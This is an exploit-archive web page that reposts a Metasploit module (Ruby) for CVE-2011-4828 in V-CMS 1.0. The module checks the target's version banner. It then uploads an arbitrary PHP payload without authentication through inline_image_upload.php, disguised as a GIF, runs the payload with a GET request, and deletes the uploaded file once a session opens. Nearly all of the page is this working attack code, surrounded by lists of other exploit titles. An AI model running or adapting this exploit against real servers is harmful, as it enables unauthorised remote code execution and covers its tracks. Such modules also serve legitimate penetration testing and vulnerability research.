首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
V-CMS PHP File Upload and Execute
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-04-16  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "V-CMS PHP File Upload and Execute",
   'Description'    => %q{
     This module exploits a vulnerability found on V-CMS's inline image upload feature.
    The problem is due to the inline_image_upload.php file not checking the file type
    before saving it on the web server. This allows any malicious user to upload a
    script (such as PHP) without authentication, and then execute it with a GET request.

     The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
    allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
    one of those extension names, which may still be leveraged in an attack.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'AutoSec Tools',  #Initial discovery
     'sinn3r'          #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2011-4828'],
     ['BID', '50706'],
     ['URL', 'http://bugs.v-cms.org/view.php?id=53'],
     ['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['V-CMS 1.0', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 27 2011",  #When the ticket was created
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
    ], self.class)
 end

 def check
  res = send_request_raw({
   'uri'   => target_uri.path,
   'method' => 'GET'
  })

  if res and res.body =~ /V\-CMS v1\.[0-1]/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end

 def on_new_session(client)
  if client.type == "meterpreter"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   client.fs.file.rm(@payload_name)
  else
   client.shell_command_token("rm #{@payload_name}")
  end
 end

 def exploit
  peer = "#{rhost}:#{rport}"

  base = target_uri.path
  base << '/' if base[-1,1] != '/'

  @payload_name = "#{rand_text_alpha(5)}.php"
  p = %Q|<?php
  #{payload.encoded}
  ?>
  |

  p = p.gsub(/^\t\t/, '')

  post_data = "------x\r\n"
  post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
  post_data << "Content-Type: image/gif\r\n"
  post_data << "\r\n"
  post_data << p
  post_data << "------x--\r\n"

  print_status("#{peer} Uploading payload: #{@payload_name}")
  res = send_request_cgi({
   'uri'    => "#{base}includes/inline_image_upload.php",
   'method' => 'POST',
   'ctype'  => 'multipart/form-data; boundary=----x',
   'data'   => post_data
  })

  if res
   print_status("#{peer} replies status: #{res.code.to_s}")
  else
   print_error("#{peer} No response from server. Will not continue")
   return
  end

  print_status("#{peer} Executing payload: #{@payload_name}")
  res = send_request_raw({
   'uri'    => "#{base}temp/#{@payload_name}",
   'method' => 'GET'
  })

  if res and res.code == 404
   print_error("#{peer} 404 - the upload probably failed")
   return
  end

  handler
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Quest InTrust Annotation Objec
·K-Meleon Browser v1.5.4 - Deni
·wicd Local Privilege Esclation
·Microsoft IIS 7.5 remote heap
·Backtrack 5 R2 wicd Privilege
·CyberLink Power2Go name attrib
·Mozilla Firefox Bootstrapped A
·GSM SIM Editor 5.15 Buffer Ove
·Local buffer overflow (.m3u ,
·Office 2008 sp0 RTF Pfragments
·Mini-stream RM-MP3 Converter
·MS11-046 Proof Of Concept
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved